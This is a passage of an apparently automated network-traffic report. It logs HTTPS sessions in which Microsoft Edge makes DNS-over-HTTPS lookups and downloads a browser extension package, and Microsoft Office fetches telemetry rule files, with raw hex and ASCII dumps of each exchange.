85	192.168.2.6	49859	172.64.41.3	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 03:20:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 03:20:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 03:20:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7643cddb985e82-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 03:20:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49862	172.64.41.3	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 03:20:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 03:20:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 03:20:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7643cdef394251-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 03:20:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 09 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49863	162.159.61.3	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 03:20:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 03:20:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 03:20:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7643cdfc4a41cd-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 03:20:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49850	172.217.19.225	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:45 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC6yVOwyk7g1jiqsmfjA01qhSbaMtE9VtJmsX1G6BySuuC0waZlyNBEBa1DRoPAH67Pj62KIAH14mg X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sat, 23 Nov 2024 16:45:00 GMT Expires: Sun, 23 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 38144 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-24 03:20:45 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-24 03:20:45 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-24 03:20:45 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-24 03:20:45 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-24 03:20:45 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-24 03:20:45 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-24 03:20:45 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-24 03:20:45 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-24 03:20:45 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-24 03:20:45 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:44 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 352ee399-f01e-0052-6b36-3d9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032044Z-174c587ffdf9xbcchC1TEBxkz400000003mg00000000nw6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:44 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 41485cca-c01e-0034-71f5-3c2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032044Z-178bfbc474b9xljthC1NYCtw9400000005b0000000005wdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:44 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
